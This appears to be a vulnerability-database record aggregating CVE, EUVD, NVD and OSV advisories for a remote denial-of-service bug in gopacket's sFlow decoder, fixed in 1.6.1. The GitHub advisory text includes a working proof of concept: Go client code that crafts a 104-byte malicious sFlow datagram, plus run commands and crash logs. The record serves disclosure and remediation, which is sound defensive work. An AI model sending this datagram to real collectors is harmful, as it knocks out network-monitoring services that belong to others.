{"id":"GO-2026-6122","revision":null,"records":[{"revision":"040af384895e4df7a01b2468eb931e70","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-54332","aliases":[],"title":"GoPacket's sFlow ExtendedGatewayFlow decoder: unbounded attacker-controlled allocation (104-byte UDP datagram -> up to 16 GiB make) -> unauthenticated remote DoS","description":"gopacket provides packet processing capabilities for Go. In version 1.6.0 and earlier, the sFlow ExtendedGatewayFlow decoder in layers/sflow.go reads an attacker-controlled 32-bit community count and AS path member count and sizes a slice allocation from those counts without bounding them against the bytes remaining in the datagram, so a 104-byte UDP datagram can drive an allocation of up to 16 GiB and cause an unauthenticated remote denial of service. This issue is fixed in version 1.6.1.","state":0,"publishedAt":"2026-07-28T16:17:48.796+00:00","modifiedAt":"2026-07-28T17:28:21.158+00:00","affected":[{"ecosystem":"Vendor product","name":"gopacket","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"gopacket\",\n                    \"product\": \"gopacket\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 1.6.1\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","score":6.9,"severity":"MEDIUM"}],"references":["https://github.com/gopacket/gopacket/security/advisories/GHSA-g6v3-7xmc-w563","https://github.com/gopacket/gopacket/commit/76119086f5936aacd7088bdf97d565501bb6c4cc","https://github.com/gopacket/gopacket/releases/tag/v1.6.1"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-54332","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-54332","identifiers":["CVE-2026-54332"]},"retained":false,"historicalAffected":[]},{"revision":"f1993d2e5a68456fa58a652466030cb0","observedAt":"2026-11-13T15:01:15.824+00:00","statement":{"source":"euvd","id":"EUVD-2026-49894","aliases":["CVE-2026-54332","GHSA-g6v3-7xmc-w563"],"title":"gopacket provides packet processing capabilities for Go. In version 1.6.0 and earlier, the sFlow ExtendedGatewayFlow decoder in layers/sflow.go reads an attacker-controlled 32-bit community count and AS path member count and sizes a slice a…","description":"gopacket provides packet processing capabilities for Go. In version 1.6.0 and earlier, the sFlow ExtendedGatewayFlow decoder in layers/sflow.go reads an attacker-controlled 32-bit community count and AS path member count and sizes a slice allocation from those counts without bounding them against the bytes remaining in the datagram, so a 104-byte UDP datagram can drive an allocation of up to 16 GiB and cause an unauthenticated remote denial of service. This issue is fixed in version 1.6.1.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","score":6.9,"severity":null}],"references":["https://github.com/gopacket/gopacket/security/advisories/GHSA-g6v3-7xmc-w563","https://github.com/gopacket/gopacket/commit/76119086f5936aacd7088bdf97d565501bb6c4cc","https://github.com/gopacket/gopacket/releases/tag/v1.6.1"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-49894","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jul 28, 2026, 4:17:48 PM","dateUpdated":"Jul 28, 2026, 5:28:21 PM"},"relatedAdvisories":[{"id":"msrc_CVE-2026-54332","title":"GoPacket's sFlow ExtendedGatewayFlow decoder: unbounded attacker-controlled allocation (104-byte UDP datagram -> up to 16 GiB make) -> unauthenticated remote DoS","vulnerabilityIds":["CVE-2026-54332"]}],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-49894","identifiers":["EUVD-2026-49894","CVE-2026-54332","GHSA-g6v3-7xmc-w563"]},"retained":false,"historicalAffected":[]},{"revision":"8dccbdf9e5cb4d91890e557c290046bf","observedAt":"2026-10-25T13:17:28.253+00:00","statement":{"source":"nvd","id":"CVE-2026-54332","aliases":[],"title":"gopacket provides packet processing capabilities for Go. In version 1.6.0 and earlier, the sFlow ExtendedGatewayFlow decoder in layers/sflow.go reads an attacker-controlled 32-bit community count and AS path member count and sizes a slice a…","description":"gopacket provides packet processing capabilities for Go. In version 1.6.0 and earlier, the sFlow ExtendedGatewayFlow decoder in layers/sflow.go reads an attacker-controlled 32-bit community count and AS path member count and sizes a slice allocation from those counts without bounding them against the bytes remaining in the datagram, so a 104-byte UDP datagram can drive an allocation of up to 16 GiB and cause an unauthenticated remote denial of service. This issue is fixed in version 1.6.1.","state":0,"publishedAt":"2026-07-28T17:16:51.257+00:00","modifiedAt":"2026-08-05T19:10:43.193+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":6.9,"severity":"MEDIUM"},{"system":"CVSS 3.1 · nvd@nist.gov · Primary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","score":7.5,"severity":"HIGH"}],"references":["https://github.com/gopacket/gopacket/commit/76119086f5936aacd7088bdf97d565501bb6c4cc","https://github.com/gopacket/gopacket/releases/tag/v1.6.1","https://github.com/gopacket/gopacket/security/advisories/GHSA-g6v3-7xmc-w563"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-54332","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Analyzed","weaknesses":["CWE-770"],"productCriteria":["cpe:2.3:a:gopacket:gopacket:*:*:*:*:*:go:*:*"],"sourceDates":{"published":"2026-07-28T17:16:51.257","lastModified":"2026-08-05T19:10:43.193"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-54332","identifiers":["CVE-2026-54332"]},"retained":false,"historicalAffected":[]},{"revision":"35bc1e0e71c541c7bce3ec9de7fbb78b","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-g6v3-7xmc-w563","aliases":["CVE-2026-54332","GO-2026-6122"],"title":"GoPacket's sFlow ExtendedGatewayFlow decoder: unbounded attacker-controlled allocation (104-byte UDP datagram -> up to 16 GiB make) -> unauthenticated remote DoS","description":"## Summary\n\nThe sFlow `ExtendedGatewayFlow` record decoder in `github.com/gopacket/gopacket` allocates a slice with `make([]uint32, n)` where `n` is an attacker-controlled 32-bit wire field that has no upper bound. Because the allocation happens *before* the read loop that would consume the corresponding bytes, a single small UDP datagram can force a multi-gigabyte allocation. A 104-byte sFlow datagram can request up to 16 GiB and OOM-kill any service that parses sFlow with gopacket. This is an unauthenticated remote denial of service (CWE-770).\n\n## Root cause (file:line @ v1.6.0)\n\nTwo sinks in `layers/sflow.go`, both in the `ExtendedGatewayFlow` (record type 1003) decode path:\n\n1. `layers/sflow.go:1306` in `decodeExtendedGatewayFlowRecord`:\n```go\n*data, communitiesLength = (*data)[4:], binary.BigEndian.Uint32((*data)[:4])\neg.Communities = make([]uint32, communitiesLength)   // communitiesLength is a raw wire uint32, no bound\nfor j := uint32(0); j < communitiesLength; j++ { ... }\n```\n\n2. `layers/sflow.go:1276` in `decodePath` (a helper called from the same record decoder):\n```go\n*data, ad.Count = (*data)[4:], binary.BigEndian.Uint32((*data)[:4])\nad.Members = make([]uint32, ad.Count)                // ad.Count is a raw wire uint32, no bound\nfor i := uint32(0); i < ad.Count; i++ { ... }\n```\n\nIn both cases the `make` is executed before the loop that reads the element bytes, so the allocation size is fully determined by the attacker-supplied count field and is never checked against the number of bytes actually remaining in the packet. `communitiesLength = 0xFFFFFFFF` requests `make([]uint32, 4294967295)` = 16,384 MB (16 GiB).\n\n## Reachability (remote attacker -> sink)\n\nThe registered `LayerTypeSFlow` decoder parses sFlow datagrams from the wire:\n\n`SFlowDatagram.DecodeFromBytes` (sflow.go:302) -> `SampleCount` loop -> `decodeFlowSample(expanded=false)` (sflow.go:458) -> `RecordCount` loop -> record format 1003 `SFlowTypeExtendedGatewayFlow` (sflow.go:573) -> `decodeExtendedGatewayFlowRecord` (sflow.go:1284) -> sink at line 1306 (and line 1276 via the `ASPath` -> `decodePath` branch).\n\nsFlow is a UDP-based network-telemetry protocol; collectors built on gopacket process datagrams sent (or forwarded by switches/routers) from the network. No authentication is involved, so any host that can deliver a UDP packet to such a collector can trigger the sink. The same record reached via `gopacket.NewPacket(data, LayerTypeSFlow, gopacket.Default)` is equally affected.\n\n## Impact\n\nUnauthenticated remote denial of service via memory exhaustion. A single 104-byte datagram drives an allocation of up to 16 GiB, OOM-killing the parsing process. There is no memory corruption and no code execution — the impact is process termination / resource exhaustion. Severity assessed as Medium (unauthenticated remote DoS, no memory-safety violation).\n\n## Proof of Concept\n\nThis PoC is an end-to-end test against a real deployed sFlow collector. A minimal\nbut realistic UDP collector (built on the public gopacket API, exactly as a real\nnetwork-telemetry collector would be) runs inside a hard-capped 256 MB container;\nan independent client process sends a real malicious sFlow datagram over a real\nUDP socket; the collector process is then observed to die. A benign datagram is\nused as a negative control.\n\nThe harness pins `github.com/gopacket/gopacket@v1.6.0` (the sink is confirmed at\nthe v1.6.0 tag, `layers/sflow.go:1306`).\n\n### Collector (real UDP sFlow collector)\n\n```go\n// collector.go — binds a UDP socket and, for every datagram, builds a\n// gopacket.Packet rooted at LayerTypeSFlow and accesses the layer, which drives\n// the registered sFlow decoder over the attacker-controlled bytes.\npackage main\n\nimport (\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\n\t\"github.com/gopacket/gopacket\"\n\t\"github.com/gopacket/gopacket/layers\"\n)\n\nfunc main() {\n\tudpAddr, _ := net.ResolveUDPAddr(\"udp4\", \"0.0.0.0:6343\")\n\tconn, err := net.ListenUDP(\"udp4\", udpAddr)\n\tif err != nil {\n\t\tfmt.Fprintf(os.Stderr, \"listen error: %v\\n\", err)\n\t\tos.Exit(1)\n\t}\n\tdefer conn.Close()\n\tfmt.Printf(\"[collector] sFlow collector listening on udp %s\\n\", conn.LocalAddr())\n\n\tbuf := make([]byte, 65535)\n\tfor {\n\t\tn, src, err := conn.ReadFromUDP(buf)\n\t\tif err != nil {\n\t\t\tcontinue\n\t\t}\n\t\tdatagram := make([]byte, n)\n\t\tcopy(datagram, buf[:n])\n\t\tfmt.Printf(\"[collector] received %d-byte datagram from %s\\n\", n, src)\n\t\tpkt := gopacket.NewPacket(datagram, layers.LayerTypeSFlow, gopacket.Default)\n\t\tif dg, ok := pkt.Layer(layers.LayerTypeSFlow).(*layers.SFlowDatagram); ok {\n\t\t\tfmt.Printf(\"[collector] decoded sFlow datagram: version=%d samples=%d flowSamples=%d\\n\",\n\t\t\t\tdg.DatagramVersion, dg.SampleCount, len(dg.FlowSamples))\n\t\t} else {\n\t\t\tfmt.Printf(\"[collector] no sFlow layer decoded\\n\")\n\t\t}\n\t}\n}\n```\n\n### Client (independent process, real UDP socket, no gopacket dependency)\n\nThe client crafts a well-formed sFlow v5 datagram with one FlowSample carrying\none ExtendedGatewayFlow (record type 1003) record and sets only its\n`communitiesLength` field. For the benign case it appends real community words\nplus the trailing LocalPref word so the record decodes cleanly.\n\n```go\n// client.go — usage: client <addr> <communitiesLength> [--benign]\npackage main\n\nimport (\n\t\"encoding/binary\"\n\t\"fmt\"\n\t\"net\"\n\t\"os\"\n\t\"strconv\"\n)\n\nfunc u32(b *[]byte, v uint32) {\n\tt := make([]byte, 4)\n\tbinary.BigEndian.PutUint32(t, v)\n\t*b = append(*b, t...)\n}\n\nfunc buildDatagram(commLen uint32, benign bool) []byte {\n\tvar d []byte\n\tu32(&d, 5); u32(&d, 1); u32(&d, 0x7f000001); u32(&d, 0); u32(&d, 0); u32(&d, 0)\n\tu32(&d, 1)           // SampleCount = 1\n\tu32(&d, 1)           // sample format -> FlowSample\n\tu32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0); u32(&d, 0)\n\tu32(&d, 1)           // RecordCount = 1\n\tu32(&d, 1003)        // record format -> ExtendedGatewayFlow\n\tu32(&d, 0)           // FlowDataLength\n\tu32(&d, 1)           // gateway address type = IPv4\n\tu32(&d, 0x08080808)  // NextHop\n\tu32(&d, 0); u32(&d, 0); u32(&d, 0)\n\tu32(&d, 0)           // ASPathCount = 0\n\tu32(&d, commLen)     // communitiesLength -> make([]uint32, commLen) sink\n\tif benign {\n\t\tfor i := uint32(0); i < commLen; i++ {\n\t\t\tu32(&d, 0xABCD0000+i)\n\t\t}\n\t\tu32(&d, 100) // trailing LocalPref word\n\t}\n\treturn d\n}\n\nfunc main() {\n\taddr := os.Args[1]\n\tcommLen, _ := strconv.ParseUint(os.Args[2], 10, 32)\n\tbenign := len(os.Args) > 3 && os.Args[3] == \"--benign\"\n\tdata := buildDatagram(uint32(commLen), benign)\n\traddr, _ := net.ResolveUDPAddr(\"udp\", addr)\n\tconn, _ := net.DialUDP(\"udp\", nil, raddr)\n\tdefer conn.Close()\n\tconn.Write(data)\n\tfmt.Printf(\"[client] sent %d-byte sFlow datagram (communitiesLength=%d, benign=%v)\\n\",\n\t\tlen(data), commLen, benign)\n}\n```\n\n### Run and observed result\n\nThe collector runs under a hard 256 MB cgroup cap with swap disabled\n(`--memory=256m --memory-swap=256m`) so the OOM is contained to the cgroup and\nthe host is unaffected.\n\nNegative control (benign datagram, `communitiesLength=4`):\n\n```\n$ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4 --benign\n[client] sent 124-byte sFlow datagram (communitiesLength=4, benign=true)\n\n# collector log:\n[collector] received 124-byte datagram from 172.18.0.3:56438\n[collector] decoded sFlow datagram: version=5 samples=1 flowSamples=1\n# collector status: Up (ALIVE); RSS flat at 1.5 MiB\n```\n\nAttack (single malicious datagram, `communitiesLength=0xFFFFFFFF`):\n\n```\n$ docker run --rm --network sflow-net sflow-client-e2e sflow-e2e:6343 4294967295\n[client] this datagram instructs the decoder to make([]uint32, 4294967295) = 16384 MB\n[client] datagram sent over real UDP socket\n\n# collector log (verbatim):\n[collector] received 104-byte datagram from 172.18.0.3:42284\nfatal error: runtime: out of memory\n\nruntime stack:\nruntime.throw(...)\nruntime.sysMapOS(0x61585e800000, 0x400000000, ...)   // 0x400000000 = 16 GiB requested\nruntime.makeslice(...)\n\t/usr/local/go/src/runtime/slice.go:117\ngithub.com/gopacket/gopacket/layers.decodeExtendedGatewayFlowRecord(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:1306\ngithub.com/gopacket/gopacket/layers.decodeFlowSample(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:574\ngithub.com/gopacket/gopacket/layers.(*SFlowDatagram).DecodeFromBytes(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/layers/sflow.go:321\ngithub.com/gopacket/gopacket.NewPacket(...)\n\t/go/pkg/mod/github.com/gopacket/gopacket@v1.6.0/packet.go:767\nmain.main()\n\t/src/collector.go:54\n\n# container final state:\nStatus=exited OOMKilled=false ExitCode=2\n```\n\nA single 104-byte UDP datagram, delivered over a real socket to a real\ngopacket-based collector, terminates the collector process. The Go runtime tries\nto `sysMapOS` 0x400000000 (16 GiB) into the 256 MB cgroup, the mapping is denied,\nand the runtime aborts with `fatal error: runtime: out of memory` (exit 2). The\nfull attacker -> sink call stack is captured: `collector.go:54`\n(`gopacket.NewPacket`) -> `SFlowDatagram.DecodeFromBytes` -> `decodeFlowSample`\n(sflow.go:574) -> `decodeExtendedGatewayFlowRecord` (sflow.go:1306) ->\n`makeslice` -> fatal OOM. The benign control on the same collector decodes\ncleanly and the process stays alive with flat RSS, confirming the\nattacker-controlled `communitiesLength` field is what drives the allocation.\n\nThe host is unaffected throughout: the allocation is contained by the 256 MB\ncgroup cap (no swap), and host swap stayed above 900 MB free across the run.\n\n## Affected versions\n\n`github.com/gopacket/gopacket` <= v1.6.0 (v1.6.0 is the latest release; HEAD == tag). Earlier versions carrying the same `layers/sflow.go` decode code are affected as well.\n\n## Suggested fix\n\nBefore each `make([]uint32, n)`, validate `n` against the number of bytes actually remaining in the datagram. Each element consumes 4 bytes on the wire, so a correct upper bound is `remaining_bytes / 4`; any count larger than that cannot be backed by real packet data and should be rejected with a decode error (matching the existing `errors.New` / `fmt.Errorf` error style in this file), rather than pre-allocating. This caps the allocation at roughly the datagram size and eliminates the amplification:\n\n- `decodeExtendedGatewayFlowRecord`: reject when `communitiesLength > uint32(len(*data)/4)` before `make([]uint32, communitiesLength)`.\n- `decodePath`: reject when `ad.Count > uint32(len(*data)/4)` before `make([]uint32, ad.Count)`, and propagate the error to the caller.\n\nI will follow up with a fix PR via the advisory's private fork.\n\n## References\n\n- sFlow Version 5 specification (https://sflow.org/sflow_version_5.txt), section on the extended_gateway flow_data record (communities / dst_as_path lists).\n- CWE-770: Allocation of Resources Without Limits or Throttling.","state":0,"publishedAt":"2026-07-28T16:17:26+00:00","modifiedAt":"2026-09-10T03:50:52.0749508+00:00","affected":[{"ecosystem":"Go","name":"github.com/gopacket/gopacket","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.6.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V4","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/gopacket/gopacket/security/advisories/GHSA-g6v3-7xmc-w563","https://github.com/gopacket/gopacket/commit/76119086f5936aacd7088bdf97d565501bb6c4cc","https://github.com/gopacket/gopacket","https://github.com/gopacket/gopacket/releases/tag/v1.6.1"],"sourceUrl":"https://github.com/advisories/GHSA-g6v3-7xmc-w563","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-g6v3-7xmc-w563","identifiers":["GHSA-g6v3-7xmc-w563","CVE-2026-54332","GO-2026-6122"]},"retained":false,"historicalAffected":[]},{"revision":"754d8184e1e942808c6ff4ddd7ab4a11","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6122","aliases":["CVE-2026-54332","GHSA-g6v3-7xmc-w563"],"title":"GoPacket's sFlow ExtendedGatewayFlow decoder: unbounded attacker-controlled allocation (104-byte UDP datagram -> up to 16 GiB make) -> unauthenticated remote DoS in github.com/gopacket/gopacket","description":"GoPacket's sFlow ExtendedGatewayFlow decoder: unbounded attacker-controlled allocation (104-byte UDP datagram -> up to 16 GiB make) -> unauthenticated remote DoS in github.com/gopacket/gopacket","state":0,"publishedAt":"2026-08-18T14:32:29+00:00","modifiedAt":"2026-08-18T15:00:21.345504+00:00","affected":[{"ecosystem":"Go","name":"github.com/gopacket/gopacket","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"1.6.1"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/gopacket/gopacket/security/advisories/GHSA-g6v3-7xmc-w563","https://github.com/gopacket/gopacket/commit/76119086f5936aacd7088bdf97d565501bb6c4cc","https://github.com/gopacket/gopacket/releases/tag/v1.6.1"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6122","license":"OSV · upstream source license applies","key":"osv:GO-2026-6122","identifiers":["GO-2026-6122","CVE-2026-54332","GHSA-g6v3-7xmc-w563"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-15T12:00:55.3946839+00:00","complete":true,"records":1781,"lastAttemptAt":"2026-11-15T12:00:55.3946839+00:00","lastSuccessAt":"2026-11-15T12:00:55.579435+00:00","error":null,"lastVerifiedAt":"2026-11-15T12:00:55.5794357+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-7de4d7559a5263003f03d9f70577ab06f92ba4178309f26fce53e22a4a959294-9f2801eea6d0b63da2583193add6be220e1b53bbbe4ef94b9346425ef1596ca8","complete":true,"records":425788,"lastAttemptAt":"2026-11-15T12:00:54.4294537+00:00","lastSuccessAt":"2026-11-15T12:00:54.4082037+00:00","error":null,"lastVerifiedAt":"2026-11-15T12:00:54.4294537+00:00","snapshotPublishedAt":"2026-11-15T11:26:58+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-850c26e23e9a454eb8654cf34d45fa51","complete":false,"records":13821,"lastAttemptAt":"2026-11-15T12:10:42.9128167+00:00","lastSuccessAt":"2026-11-15T12:10:42.908+00:00","error":"92 identifier lookups failed; latest failures include AccessDenied (HTTP 403). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-15T12:10:42.908+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13568,"expectedIdentifiers":13874,"failedIdentifiers":92},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-15T12:00:55.3946839+00:00","complete":true,"records":1125,"lastAttemptAt":"2026-11-15T12:00:55.3946839+00:00","lastSuccessAt":"2026-11-15T12:00:55.580236+00:00","error":null,"lastVerifiedAt":"2026-11-15T12:00:55.580236+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-d33b5144615b488f88b7a7390696bc39","complete":false,"records":13833,"lastAttemptAt":"2026-11-15T12:01:03.1788889+00:00","lastSuccessAt":"2026-11-15T10:02:36.038+00:00","error":"1 identifier lookups failed; latest failures include HttpError (HTTP 503). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-15T10:02:36.038+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13873,"expectedIdentifiers":13874,"failedIdentifiers":1},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-64eea06dbd27de8464d5dbce1b78cc794cc59e2d901516ae0d3ea76e624cdae0","complete":true,"records":9955,"lastAttemptAt":"2026-11-15T12:00:55.0947737+00:00","lastSuccessAt":"2026-11-14T13:57:23.1208135+00:00","error":null,"lastVerifiedAt":"2026-11-15T12:00:55.0947737+00:00","snapshotPublishedAt":"2026-11-14T13:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-f4424d7d4861b1af1404bd15abcb83f295dcd003412a9340ca99dc8200aa148a","complete":true,"records":2014,"lastAttemptAt":"2026-11-15T12:00:54.588948+00:00","lastSuccessAt":"2026-11-13T19:57:08.2864435+00:00","error":null,"lastVerifiedAt":"2026-11-15T12:00:54.588948+00:00","snapshotPublishedAt":"2026-11-13T19:33:10+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-6086d649bcb454cdf302d7d9275177bda73550e1b6e446b3520e9b6266d3582c","complete":true,"records":3148,"lastAttemptAt":"2026-11-15T12:00:55.3229475+00:00","lastSuccessAt":"2026-11-15T11:05:17.1034234+00:00","error":null,"lastVerifiedAt":"2026-11-15T12:00:55.3229475+00:00","snapshotPublishedAt":"2026-11-15T10:03:04+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-ff18f36f13fcca3a20a3fb9274b59b8872d18869a99071730e1e79b625c8f612","complete":true,"records":232475,"lastAttemptAt":"2026-11-15T12:00:54.6916951+00:00","lastSuccessAt":"2026-11-15T11:05:10.4195883+00:00","error":null,"lastVerifiedAt":"2026-11-15T12:00:54.6916951+00:00","snapshotPublishedAt":"2026-11-15T10:33:06+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}